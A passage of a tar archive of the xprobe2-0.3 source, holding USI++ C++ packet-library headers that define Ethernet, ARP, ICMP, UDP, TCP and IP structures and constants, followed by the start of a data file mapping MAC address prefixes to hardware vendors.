Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ virtual int init_device(char *, int promisc, size_t snaplen); }; // class UDP {} } // namespace usipp #endif // _UDP_H_ xprobe2-0.3/libs-external/USI++/usi++/usi++000755 001751 000000 00000002305 10271643766 020340 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _USIPP_H_ #define _USIPP_H_ #ifndef USI_VERSION #define USI_VERSION 192 #endif #include "config.h" #include using namespace std; namespace usipp { class usifault { string fault; public: usifault(const char *s = "undef") : fault(s) {} ~usifault() {} const char *why() { return fault.c_str(); } }; /* For error-handling. */ typedef enum { PERROR = 0, HERROR, PCAP, STDERR } errorFuncs; extern unsigned short in_cksum(unsigned short *ptr, int len, bool may_pad); extern bool exceptions; extern int useException(bool); extern void die(const char *, errorFuncs, int); extern char *getMAC(const char *, char *, int); extern char *setMAC(const char *, char *); } // namespace usipp #endif // _USIPP_H_ xprobe2-0.3/libs-external/USI++/usi++/usi++.h000755 001751 000000 00000002617 10271643766 020574 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _USIPP_H_ #define _USIPP_H_ #ifndef USI_VERSION #define USI_VERSION 192 #endif #include "config.h" #include "datalink.h" //#include "arp.h" #include "Layer2.h" #include "ip.h" #include "icmp.h" #include "udp.h" #include "tcp.h" #include "TX.h" #include "TX_IP.h" #include "RX.h" #include using namespace std; namespace usipp { class usifault { string fault; public: usifault(const char *s = "undef") : fault(s) {} ~usifault() {} const char *why() { return fault.c_str(); } }; /* For error-handling. */ typedef enum { PERROR = 0, HERROR, PCAP, STDERR } errorFuncs; extern unsigned short in_cksum(unsigned short *ptr, int len, bool may_pad); extern bool exceptions; extern int useException(bool); extern void die(const char *, errorFuncs, int); extern char *getMAC(const char *, char *, int); extern char *setMAC(const char *, char *); } // namespace usipp using namespace usipp; #endif // _USIPP_H_ xprobe2-0.3/libs-external/USI++/usi++/arp.h000755 001751 000000 00000003360 10271643766 020424 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _ARP_H_ #define _ARP_H_ #include "usi-structs.h" #include "Layer2.h" #include namespace usipp { /* ARP arp.h * RFC826, the adress resolution protocol */ /*! \class ARP */ class ARP : public Layer2 { private: struct ether_arp arphdr; public: /*! Open device 'dev' for packet-capturing (ARP-packets) * ARP-objects don't need to call init_device(). */ ARP(); virtual ~ARP(); /*! Return the source-hardware-adress of a ARP-packet */ char *get_sha(char *hwaddr, size_t len) const; /*! Return the destination-hardware-adress. */ char *get_tha(char *hwaddr, size_t len) const; /*! Get source protocol-adress. * resolve to hostname (IP) when resolve == 1 */ char *get_spa(int resolve, char *paddr, size_t len) const; /*! Get target protocol-adress. * Only IP is supportet yet! */ /*! \example arpw.cc */ char *get_tpa(int resolve, char *paddr, size_t len) const; /*! Return the ARP-command. */ u_int16_t get_op() const; /*! Sniff for an ARP-request/reply ... * \example arpw.cc */ virtual int sniffpack(); /*!*/ virtual int init_device(char *, int, size_t); /*!*/ virtual int setfilter(char *); }; } // namespace usipp #endif // _ARP_H_ xprobe2-0.3/libs-external/USI++/usi++/usi-structs.h000755 001751 000000 00000031002 10271643766 022141 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #ifndef _USI_STRUCTS_H_ #define _USI_STRUCTS_H_ #include #include #include #include #include #include extern "C" { #include } #include "usi++" #ifndef MAXHOSTLEN #define MAXHOSTLEN 1000 #endif /* putting an own version of * iphdr, udphdr, tcphdr, icmphdr and pseudohdr * in usipp namespace to avoid collision with * kernel ones. Mostly the IP etc. structs from system to system differ * and are often broken. */ namespace usipp { #ifndef ETH_ALEN #define ETH_ALEN 6 #endif /* This is a name for the 48 bit ethernet address available on many * systems. */ struct ether_addr { u_int8_t ether_addr_octet[ETH_ALEN]; }; struct ether_header { u_int8_t ether_dhost[ETH_ALEN]; // destination eth addr u_int8_t ether_shost[ETH_ALEN]; // source ether addr u_int16_t ether_type; // packet type ID field }; /* * These are the defined Ethernet Protocol ID's. */ #define ETH_P_LOOP 0x0060 // Ethernet Loopback packet #define ETH_P_ECHO 0x0200 // Ethernet Echo packet #ifndef ETH_P_PUP #define ETH_P_PUP 0x0200 // Xerox PUP packet #endif #define ETH_P_IP 0x0800 // Internet Protocol packet #define ETH_P_X25 0x0805 // CCITT X.25 #define ETH_P_ARP 0x0806 // Address Resolution packet #define ETH_P_BPQ 0x08FF // G8BPQ AX.25 Ethernet Packet [ NOT AN OFFICIALLY REGISTERED ID ] */ #define ETH_P_DEC 0x6000 // DEC Assigned proto #define ETH_P_DNA_DL 0x6001 // DEC DNA Dump/Load #define ETH_P_DNA_RC 0x6002 // DEC DNA Remote Console #define ETH_P_DNA_RT 0x6003 // DEC DNA Routing #define ETH_P_LAT 0x6004 // DEC LAT #define ETH_P_DIAG 0x6005 // DEC Diagnostics #define ETH_P_CUST 0x6006 // DEC Customer use #define ETH_P_SCA 0x6007 // DEC Systems Comms Arch #define ETH_P_RARP 0x8035 // Reverse Addr Res packet #define ETH_P_ATALK 0x809B // Appletalk DDP #define ETH_P_AARP 0x80F3 // Appletalk AARP #define ETH_P_IPX 0x8137 // IPX over DIX #define ETH_P_IPV6 0x86DD // IPv6 over bluebook /* * Non DIX types. Won't clash for 1500 types. */ #define ETH_P_802_3 0x0001 // Dummy type for 802.3 frames #define ETH_P_AX25 0x0002 // Dummy protocol id for AX.25 #define ETH_P_ALL 0x0003 // Every packet (be careful!!!) #define ETH_P_802_2 0x0004 // 802.2 frames #define ETH_P_SNAP 0x0005 // Internal only #define ETH_P_DDCMP 0x0006 // DEC DDCMP: Internal only #define ETH_P_WAN_PPP 0x0007 // Dummy type for WAN PPP frames #define ETH_P_PPP_MP 0x0008 // Dummy type for PPP MP frames #define ETH_P_LOCALTALK 0x0009 // Localtalk pseudo type #define ETH_P_PPPTALK 0x0010 // Dummy type for Atalk over PPP #define ETH_P_TR_802_2 0x0011 // 802.2 frames #define ETH_P_MOBITEX 0x0015 // Mobitex (kaz@cafe.net) #define ETH_P_CONTROL 0x0016 // Card specific control frames #define ETH_P_IRDA 0x0017 // Linux/IR /* See RFC 826 for protocol description. ARP packets are variable * in size; the arphdr structure defines the fixed-length portion. * Protocol type values are the same as those for 10 Mb/s Ethernet. * It is followed by the variable-sized fields ar_sha, arp_spa, * arp_tha and arp_tpa in that order, according to the lengths * specified. Field names used correspond to RFC 826. */ struct arphdr { u_int16_t ar_hrd; // Format of hardware address. u_int16_t ar_pro; // Format of protocol address. unsigned char ar_hln; // Length of hardware address. unsigned char ar_pln; // Length of protocol address. u_int16_t ar_op; // ARP opcode (command). #if 0 /* Ethernet looks like this : This bit is variable sized however... */ unsigned char __ar_sha[ETH_ALEN]; // Sender hardware address. unsigned char __ar_sip[4]; // Sender IP address. unsigned char __ar_tha[ETH_ALEN]; // Target hardware address. unsigned char __ar_tip[4]; // Target IP address. #endif }; /* ARP protocol opcodes. */ #define ARPOP_REQUEST 1 // ARP request. #define ARPOP_REPLY 2 // ARP reply. #define ARPOP_RREQUEST 3 // RARP request. #define ARPOP_RREPLY 4 // RARP reply. /* ARP protocol HARDWARE identifiers. */ #define ARPHRD_NETROM 0 // From KA9Q: NET/ROM pseudo. #define ARPHRD_ETHER 1 // Ethernet 10/100Mbps. #define ARPHRD_EETHER 2 // Experimental Ethernet. #define ARPHRD_AX25 3 // AX.25 Level 2. #define ARPHRD_PRONET 4 // PROnet token ring. #define ARPHRD_CHAOS 5 // Chaosnet. #define ARPHRD_IEEE802 6 // IEEE 802.2 Ethernet/TR/TB. #define ARPHRD_ARCNET 7 // ARCnet. #define ARPHRD_APPLETLK 8 // APPLEtalk. #define ARPHRD_DLCI 15 // Frame Relay DLCI. #define ARPHRD_METRICOM 23 // Metricom STRIP (new IANA id). /* Dummy types for non ARP hardware */ #define ARPHRD_SLIP 256 #define ARPHRD_CSLIP 257 #define ARPHRD_SLIP6 258 #define ARPHRD_CSLIP6 259 #define ARPHRD_RSRVD 260 /* Notional KISS type. */ #define ARPHRD_ADAPT 264 #define ARPHRD_ROSE 270 #define ARPHRD_X25 271 /* CCITT X.25. */ #define ARPHRD_PPP 512 #ifndef ARPHRD_HDLC #define ARPHRD_HDLC 513 /* (Cisco) HDLC. */ #endif #define ARPHRD_LAPB 516 /* LAPB. */ #define ARPHRD_TUNNEL 768 /* IPIP tunnel. */ #define ARPHRD_TUNNEL6 769 /* IPIP6 tunnel. */ #define ARPHRD_FRAD 770 /* Frame Relay Access Device. */ #define ARPHRD_SKIP 771 /* SKIP vif. */ #define ARPHRD_LOOPBACK 772 /* Loopback device. */ #define ARPHRD_LOCALTLK 773 /* Localtalk device. */ #define ARPHRD_FDDI 774 /* Fiber Distributed Data Interface. */ #define ARPHRD_BIF 775 /* AP1000 BIF. */ #define ARPHRD_SIT 776 /* sit0 device - IPv6-in-IPv4. */ #define ARPHRD_IPDDP 777 /* IP-in-DDP tunnel. */ #define ARPHRD_IPGRE 778 /* GRE over IP. */ #define ARPHRD_PIMREG 779 /* PIMSM register interface. */ #define ARPHRD_HIPPI 780 /* High Performance Parallel I'face. */ #define ARPHRD_ASH 781 /* (Nexus Electronics) Ash. */ #define ARPHRD_ECONET 782 /* Acorn Econet. */ #define ARPHRD_IRDA 783 /* Linux/IR. */ #define ARPHRD_FCPP 784 /* Point to point fibrechanel. */ #define ARPHRD_FCAL 785 /* Fibrechanel arbitrated loop. */ #define ARPHRD_FCPL 786 /* Fibrechanel public loop. */ #define ARPHRD_FCPFABRIC 787 /* Fibrechanel fabric. */ /* See RFC 826 for protocol description. Structure below is adapted * to resolving internet addresses. Field names used correspond to * RFC 826. */ struct ether_arp { struct arphdr ea_hdr; // fixed-size header u_int8_t arp_sha[ETH_ALEN]; // sender hardware address u_int8_t arp_spa[4]; // sender protocol address u_int8_t arp_tha[ETH_ALEN]; // target hardware address u_int8_t arp_tpa[4]; // target protocol address }; #define arp_hrd ea_hdr.ar_hrd #define arp_pro ea_hdr.ar_pro #define arp_hln ea_hdr.ar_hln #define arp_pln ea_hdr.ar_pln #define arp_op ea_hdr.ar_op /**/ struct icmphdr { u_int8_t type; u_int8_t code; u_int16_t sum; union { struct { u_int16_t id; u_int16_t sequence; } echo; u_int32_t gateway; struct { u_int16_t unused; u_int16_t mtu; } frag; } un; }; #define ICMP_ECHOREPLY 0 /* Echo Reply */ #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ #define ICMP_SOURCE_QUENCH 4 /* Source Quench */ #define ICMP_REDIRECT 5 /* Redirect (change route) */ #define ICMP_ECHO 8 /* Echo Request */ #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ #define ICMP_PARAMETERPROB 12 /* Parameter Problem */ #define ICMP_TIMESTAMP 13 /* Timestamp Request */ #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ #define ICMP_INFO_REQUEST 15 /* Information Request */ #define ICMP_INFO_REPLY 16 /* Information Reply */ #define ICMP_ADDRESS 17 /* Address Mask Request */ #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ #define NR_ICMP_TYPES 18 /* Codes for UNREACH. */ #define ICMP_NET_UNREACH 0 /* Network Unreachable */ #define ICMP_HOST_UNREACH 1 /* Host Unreachable */ #define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */ #define ICMP_PORT_UNREACH 3 /* Port Unreachable */ #define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */ #define ICMP_SR_FAILED 5 /* Source Route failed */ #define ICMP_NET_UNKNOWN 6 #define ICMP_HOST_UNKNOWN 7 #define ICMP_HOST_ISOLATED 8 #define ICMP_NET_ANO 9 #define ICMP_HOST_ANO 10 #define ICMP_NET_UNR_TOS 11 #define ICMP_HOST_UNR_TOS 12 #define ICMP_PKT_FILTERED 13 /* Packet filtered */ #define ICMP_PREC_VIOLATION 14 /* Precedence violation */ #define ICMP_PREC_CUTOFF 15 /* Precedence cut off */ #define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */ /* Codes for REDIRECT. */ #define ICMP_REDIR_NET 0 /* Redirect Net */ #define ICMP_REDIR_HOST 1 /* Redirect Host */ #define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ #define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ /* Codes for TIME_EXCEEDED. */ #define ICMP_EXC_TTL 0 /* TTL count exceeded */ #define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */ #define PING_PAYLOAD_SIZE 56 #define TIMESTAMP_PAYLOAD_SIZE 12 #define ADDRMASK_PAYLOAD_SIZE 4 struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; /* * The pseudo-header is used to calculate checksums over UDP * and TCP packets. */ struct pseudohdr { u_int32_t saddr; u_int32_t daddr; u_int8_t zero; u_int8_t proto; u_int16_t len; }; struct tcphdr { u_int16_t th_sport; // source port u_int16_t th_dport; // destination port u_int32_t th_seq; // sequence number u_int32_t th_ack; // acknowledgement number //#if __BYTE_ORDER == __LITTLE_ENDIAN #ifndef WORDS_BIGENDIAN u_int8_t th_x2:4; // (unused) u_int8_t th_off:4; // data offset //#elif __BYTE_ORDER == __BIG_ENDIAN #else u_int8_t th_off:4; // data offset u_int8_t th_x2:4; // (unused) #endif u_int8_t th_flags; #ifndef TH_FIN #define TH_FIN 0x01 #endif #ifndef TH_SYN #define TH_SYN 0x02 #endif #ifndef TH_RST #define TH_RST 0x04 #endif #ifndef TH_PUSH #define TH_PUSH 0x08 #endif #ifndef TH_ACK #define TH_ACK 0x10 #endif #ifndef TH_URG #define TH_URG 0x20 #endif u_int16_t th_win; // window u_int16_t th_sum; // checksum u_int16_t th_urp; // urgent pointer }; struct iphdr { //#if __BYTE_ORDER == __LITTLE_ENDIAN #ifndef WORDS_BIGENDIAN u_int32_t ihl:4; u_int32_t version:4; //#elif __BYTE_ORDER == __BIG_ENDIAN #else u_int32_t version:4; u_int32_t ihl:4; //#else //# error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; #ifndef IP_RF #define IP_RF 0x8000 #endif #ifndef IP_DF #define IP_DF 0x4000 #endif #ifndef IP_MF #define IP_MF 0x2000 #endif #ifndef IP_OFFMASK #define IP_OFFMASK 0x1fff #endif u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /* The options start here. */ }; /* describes a fragment for re-assembling routines */ struct fragments { int id; // the IP id-filed int len; // how much data received yet? int origLen; // and how much has it to be? int userLen; // and how much did we saved? char *data; // the packet itself }; // from netinet/tcp.h #define TCPOPT_EOL 0 #define TCPOPT_NOP 1 #define TCPOPT_MAXSEG 2 #define TCPOLEN_MAXSEG 4 #define TCPOPT_WINDOW 3 #define TCPOLEN_WINDOW 3 #define TCPOPT_SACK_PERMITTED 4 /* Experimental */ #define TCPOLEN_SACK_PERMITTED 2 #define TCPOPT_SACK 5 /* Experimental */ #define TCPOPT_TIMESTAMP 8 #define TCPOLEN_TIMESTAMP 10 #define TCPOLEN_TSTAMP_APPA (TCPOLEN_TIMESTAMP+2) /* appendix A */ /* */ union tcp_options { // nothing for kind 0 and 1 char one_byte; // kind: 3 u_int16_t one_word; // kind: 2 u_int32_t two_dwords[2]; // kind: 8 (timestamp) char unknown[20]; // default }; } // namespace usipp #endif // _USI_STRUCTS_H_ xprobe2-0.3/libs-external/USI++/data000755 001751 000000 00000000000 10271644024 017354 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/data/ethercodes.dat000755 001751 000000 00000063131 10271643766 022275 0ustar00mederwheel000000 000000 0:0:1 SuperLAN-2U 0:0:10 Hughes LAN Systems (formerly Sytek) 0:0:11 Tektronix 0:0:15 Datapoint Corporation 0:0:18 Webster Computer Corporation Appletalk/Ethernet Gateway 0:0:1a AMD (?) 0:0:1b Novell (now Eagle Technology) 0:0:1c JDR Microdevices generic, NE2000 drivers 0:0:1d Cabletron 0:0:1f Cryptall Communications Corp. 0:0:2 BBN (was internal usage only, no longer used) 0:0:20 DIAB (Data Intdustrier AB) 0:0:21 SC&C (PAM Soft&Hardware also reported) 0:0:22 Visual Technology 0:0:23 ABB Automation AB, Dept. Q 0:0:24 Olicom 0:0:29 IMC 0:0:2a TRW 0:0:2c NRC - Network Resources Corporation - MultiGate Hub1+, Hub2, etc 0:0:32 GPT Limited (reassigned from GEC Computers Ltd) 0:0:37 Oxford Metrics Ltd 0:0:3b Hyundai/Axil Sun Sparc Station 2 clone 0:0:3c Auspex 0:0:3d AT&T 0:0:3f Syntrex Inc 0:0:44 Castelle 0:0:46 ISC-Bunker Ramo, An Olivetti Company 0:0:48 Epson 0:0:49 Apricot Ltd. 0:0:4b APT -ICL also reported 0:0:4c NEC Corporation 0:0:4f Logicraft 386-Ware P.C. Emulator 0:0:51 Hob Electronic Gmbh & Co. KG 0:0:52 Optical Data Systems 0:0:55 AT&T 0:0:58 Racore Computer Products Inc 0:0:5a SK (Schneider & Koch in Europe and Syskonnect outside of Europe) 0:0:5a Xerox 806 (unregistered) 0:0:5b Eltec 0:0:5d RCE 0:0:5e U.S. Department of Defense (IANA) 0:0:5f Sumitomo 0:0:61 Gateway Communications 0:0:62 Honeywell 0:0:63 Hewlett-Packard LanProbe 0:0:64 Yokogawa Digital Computer Corp 0:0:65 Network General 0:0:66 Talaris 0:0:68 Rosemount Controls 0:0:69 Concord Communications, Inc (although someone said Silicon Graphics) 0:0:6b MIPS 0:0:6d Case 0:0:6e Artisoft, Inc. 0:0:6f Madge Networks Ltd 0:0:6f Madge Networks Ltd. Token-ring adapters 0:0:73 DuPont 0:0:75 Bell Northern Research (BNR) 0:0:77 Interphase [Used in other systems, e.g. MIPS, Motorola] 0:0:78 Labtam Australia 0:0:79 Networth Incorporated [bought by Compaq, used in Netelligent series] 0:0:7a Ardent 0:0:7b Research Machines 0:0:7d Cray Research Superservers,Inc [Also Harris (3M) (old)] 0:0:7e NetFRAME multiprocessor network servers 0:0:7f Linotype-Hell AG Linotronic typesetters 0:0:80 Cray Communications (formerly Dowty Network Services) [Also shows as "Harris (3M) (new)" and/or "Imagen(?)" elsewhere] 0:0:81 Synoptics 0:0:83 Tadpole Technology [had Optical Data Systems which is wrong according to both] 0:0:84 Aquila (?), ADI Systems Inc.(?) 0:0:86 Gateway Communications Inc. (also Megahertz Corporation?) 0:0:87 Hitachi 0:0:89 Cayman Systems Gatorbox 0:0:8a Datahouse Information Systems 0:0:8e Solbourne(?), Jupiter(?) (I've had confirming mail on Solbourne) 0:0:9 powerpipes? 0:0:92 Unisys, Cogent (both reported) 0:0:93 Proteon 0:0:94 Asante MAC 0:0:95 Sony/Tektronix 0:0:97 Epoch 0:0:98 Cross Com 0:0:99 Memorex Telex Corporations 0:0:9f Ameristar Technology 0:0:a0 Sanyo Electronics 0:0:a2 Wellfleet 0:0:a3 Network Application Technology (NAT) 0:0:a4 Acorn 0:0:a5 Compatible Systems Corporation 0:0:a6 Network General (internal assignment, not for products) 0:0:a7 Network Computing Devices (NCD) X-terminals 0:0:a8 Stratus Computer, Inc. 0:0:a9 Network Systems 0:0:aa Xerox Xerox machines 0:0:ac Conware Netzpartner [had Apollo, claimed incorrect] 0:0:ae Dassault Automatismes et Telecommunications 0:0:af Nuclear Data Acquisition Interface Modules (AIM) 0:0:b0 RND (RAD Network Devices) 0:0:b1 Alpha Microsystems Inc. 0:0:b3 CIMLinc 0:0:b4 Edimax 0:0:b5 Datability Terminal Servers 0:0:b6 Micro-matic Research 0:0:b7 Dove Fastnet 0:0:bb TRI-DATA Systems Inc. Netway products, 3274 emulators 0:0:bc Allen-Bradley 0:0:c Cisco 0:0:c0 Western Digital now SMC (Std. Microsystems Corp.) 0:0:c1 Olicom A/S 0:0:c5 Farallon Computing Inc 0:0:c6 HP Intelligent Networks Operation (formerly Eon Systems) 0:0:c8 Altos 0:0:c9 Emulex Terminal Servers, Print Servers 0:0:ca LANcity Cable Modems (now owned by BayNetworks) 0:0:cc Densan Co., Ltd. 0:0:cd Industrial Research Limited 0:0:d0 Develcon Electronics, Ltd. 0:0:d1 Adaptec, Inc. "Nodem" product 0:0:d2 SBE Inc 0:0:d3 Wang Labs 0:0:d4 PureData 0:0:d7 Dartmouth College (NED Router) 0:0:d8 old Novell NE1000's (before about 1987?) (also 3Com) 0:0:dd Gould 0:0:de Unigraph 0:0:e Fujitsu 0:0:e1 Hitachi (laptop built-in) 0:0:e2 Acer Counterpoint 0:0:e3 Integrated Micro Products Ltd 0:0:e4 mips? 0:0:e6 Aptor Produits De Comm Indust 0:0:e8 Accton Technology Corporation 0:0:e9 ISICAD, Inc. 0:0:ed April 0:0:ee Network Designers Limited [also KNX Ltd, a former division] 0:0:ef Alantec 0:0:f NeXT 0:0:f0 Samsung 0:0:f2 Spider Communications (Montreal, not Spider Systems) 0:0:f3 Gandalf Data Ltd. - Canada 0:0:f4 Allied Telesis, Inc. 0:0:f6 A.M.C. (Applied Microsystems Corp.) 0:0:f8 DEC 0:0:fb Rechner zur Kommunikation 0:0:fd High Level Hardware (Orion, UK) 0:0:ff Camtec Electronics (UK) Ltd. 0:10:11 Cisco Systems Cisco 75xx 0:10:1f Cisco 0:10:2f Cisco Cisco 5000 0:10:4b 3Com 3C905-TX PCI 0:10:79 Cisco 5500 Router 0:10:7a Ambicom (was Tandy?) 0:10:f6 Cisco 0:17:0 Kabel 0:1:2 BBN (Bolt Beranek and Newman, Inc.) internal usage (not registered) 0:1:43 IEEE 802 0:1:63 NDC (National Datacomm Corporation) 0:1:68 W&G (Wandel & Goltermann) [incorrect according to W&G] 0:1:c8 Thomas Conrad Corp. 0:1:fa Compaq (PageMarq printers) 0:20:0 Lexmark (Print Server) 0:20:11 Canopus Co Ltd 0:20:17 Orbotech 0:20:18 Realtek 0:20:1a Nbase 0:20:25 Control Technology Inc (Industrial Controls and Network Interfaces) 0:20:28 Bloomberg 0:20:2b ATML (Advanced Telecommunications Modules, Ltd.) 0:20:35 IBM (International Business Machines) mainframes, Etherjet printers 0:20:36 BMC Software 0:20:42 Datametrics Corp 0:20:45 SolCom Systems Limited 0:20:48 Fore Systems Inc 0:20:4b Autocomputer Co Ltd 0:20:4c Mitron Computer Pte Ltd 0:20:56 Neoproducts 0:20:61 Dynatech Communications Inc 0:20:63 Wipro Infotech Ltd 0:20:66 General Magic Inc 0:20:67 Node Runner Inc 0:20:6b Minolta Co., Ltd Network printers 0:20:78 Runtop Inc 0:20:8 Cable & Computer Technology 0:20:85 3COM SuperStack II UPS management module 0:20:8a Sonix Communications Ltd 0:20:8b Focus Enhancements 0:20:8c Galaxy Networks Inc 0:20:94 Cubix Corporation 0:20:a5 Newer Technology 0:20:a6 Proxim Inc 0:20:af 3COM Corporation 0:20:b6 Agile Networks Inc 0:20:b9 Metricom, Inc. 0:20:c Adastra Systems Corp 0:20:c5 Eagle NE2000 0:20:c6 NECTEC 0:20:d0 Versalynx Corp. "The One Port" terminal server 0:20:d2 RAD Data Communications Ltd 0:20:d3 OST (Ouet Standard Telematique) 0:20:d8 NetWave 0:20:da Xylan 0:20:dc Densitron Taiwan Ltd 0:20:e0 PreMax PE-200 (PCMCIA NE2000-clone card, sold by InfoExpress) 0:20:e5 Apex Data 0:20:ee Gtech Corporation 0:20:f6 Net Tek & Karlnet Inc 0:20:f8 Carrera Computers Inc 0:2:16 ESI (Extended Systems, Inc) print servers 0:2:4 Novell NE3200 0:2:5 Hamilton (Sparc Clones) 0:2:88 Global Village (PCcard in Mac portable) 0:3:c6 Morning Star Technologies Inc 0:40:1 Zero One Technology Co Ltd (ZyXEL?) 0:40:10 Sonic Mac Ethernet interfaces 0:40:11 Facilities Andover Environmental Controllers 0:40:13 NTT Data Communication Systems Corp 0:40:14 Comsoft Gmbh 0:40:15 Ascom 0:40:17 XCd XJet - HP printer server card 0:40:1c AST Pentium/90 PC (emulating AMD EISA card) 0:40:1f Colorgraph Ltd 0:40:20 Pilkington Communication 0:40:23 Logic Corporation 0:40:25 Molecular Dynamics 0:40:26 Melco Inc 0:40:27 SMC Massachusetts [Had:Sigma (?), maybe the "S"?] 0:40:28 Netcomm 0:40:2a Canoga-Perkins 0:40:2b TriGem 0:40:2f Xlnt Designs Inc (XDI) 0:40:30 GK Computer 0:40:32 Digital Communications 0:40:33 Addtron Technology Co., Ltd. 0:40:36 TribeStar 0:40:39 Optec Daiichi Denko Co Ltd 0:40:3c Forks, Inc. 0:40:41 Fujikura Ltd. 0:40:43 Nokia Data Communications 0:40:48 SMD Informatica S.A. 0:40:4c Hypertec Pty Ltd. 0:40:4d Telecomm Techniques 0:40:4f Space & Naval Warfare Systems 0:40:5 TRENDware International Inc.; Linksys; Simple Net; all three reported 0:40:50 Ironics, Incorporated 0:40:52 Star Technologies Inc 0:40:54 Thinking Machines Corporation 0:40:57 Lockheed-Sanders 0:40:59 Yoshida Kogyo K.K. 0:40:5b Funasset Limited 0:40:5d Star-Tek Inc 0:40:66 Hitachi Cable, Ltd. 0:40:67 Omnibyte Corporation 0:40:68 Extended Systems 0:40:69 Lemcom Systems Inc 0:40:6a Kentek Information Systems Inc 0:40:6e Corollary, Inc. 0:40:6f Sync Research Inc 0:40:72 Applied Innovation 0:40:74 Cable and Wireless 0:40:76 AMP Incorporated 0:40:78 Wearnes Automation Pte Ltd 0:40:7f Agema Infrared Systems AB 0:40:82 Laboratory Equipment Corp 0:40:85 SAAB Instruments AB 0:40:86 Michels & Kleberhoff Computer 0:40:87 Ubitrex Corporation 0:40:88 Mobuis NuBus (Mac) combination video/EtherTalk 0:40:8a TPS Teleprocessing Sys. Gmbh 0:40:8c Axis Communications AB 0:40:8e CXR/Digilog 0:40:8f WM-Data Minfo AB 0:40:9 Tachibana Tectron Co Ltd 0:40:90 Ansel Communications PC NE2000 compatible twisted-pair ethernet cards 0:40:91 Procomp Industria Eletronica 0:40:92 ASP Computer Products, Inc. 0:40:94 Shographics Inc 0:40:95 Eagle Technologies [UMC also reported] 0:40:96 Telesystems SLW Inc 0:40:9a Network Express Inc 0:40:9c Transware 0:40:9d DigiBoard Ethernet-ISDN bridges 0:40:9e Concurrent Technologies Ltd. 0:40:9f Lancast/Casat Technology Inc 0:40:a4 Rose Electronics 0:40:a6 Cray Research Inc. 0:40:aa Valmet Automation Inc 0:40:ad SMA Regelsysteme Gmbh 0:40:ae Delta Controls, Inc. 0:40:af Digital Products, Inc. (DPI). 0:40:b Crescendo (now owned by Cisco) 0:40:b4 3COM K.K. 0:40:b5 Video Technology Computers Ltd 0:40:b6 Computerm Corporation 0:40:b9 MACQ Electronique SA 0:40:bd Starlight Networks Inc 0:40:c General Micro Systems, Inc. 0:40:c1 Bizerba-Werke Wilheim Kraut 0:40:c2 Applied Computing Devices 0:40:c3 Fischer and Porter Co. 0:40:c5 Micom Communications Corp. 0:40:c6 Fibernet Research, Inc. 0:40:c7 Danpex Corporation 0:40:c8 Milan Technology Corp. 0:40:cc Silcom Manufacturing Technology Inc 0:40:cf Strawberry Tree Inc 0:40:d LANNET Data Communications 0:40:d2 Pagine Corporation 0:40:d4 Gage Talker Corp. 0:40:d7 Studio Gen Inc 0:40:d8 Ocean Office Automation Ltd 0:40:dc Tritec Electronic Gmbh 0:40:df Digalog Systems, Inc. 0:40:e1 Marner International Inc 0:40:e2 Mesa Ridge Technologies Inc 0:40:e3 Quin Systems Ltd 0:40:e5 Sybus Corporation 0:40:e7 Arnos Instruments & Computer 0:40:e9 Accord Systems, Inc. 0:40:ea PlainTree Systems Inc 0:40:ed Network Controls International Inc 0:40:f0 Micro Systems Inc 0:40:f1 Chuo Electronics Co., Ltd. 0:40:f4 Cameo Communications, Inc. 0:40:f5 OEM Engines 0:40:f6 Katron Computers Inc 0:40:f9 Combinet 0:40:fa Microboards Inc 0:40:fb Cascade Communications Corp. 0:40:fd LXE 0:40:ff Telebit Corporation Personal NetBlazer 0:4:0 Lexmark (Print Server) 0:4:ac IBM PCMCIA Ethernet adapter. 0:4f:49 Realtek 0:4f:4b Pine Technology Ltd. 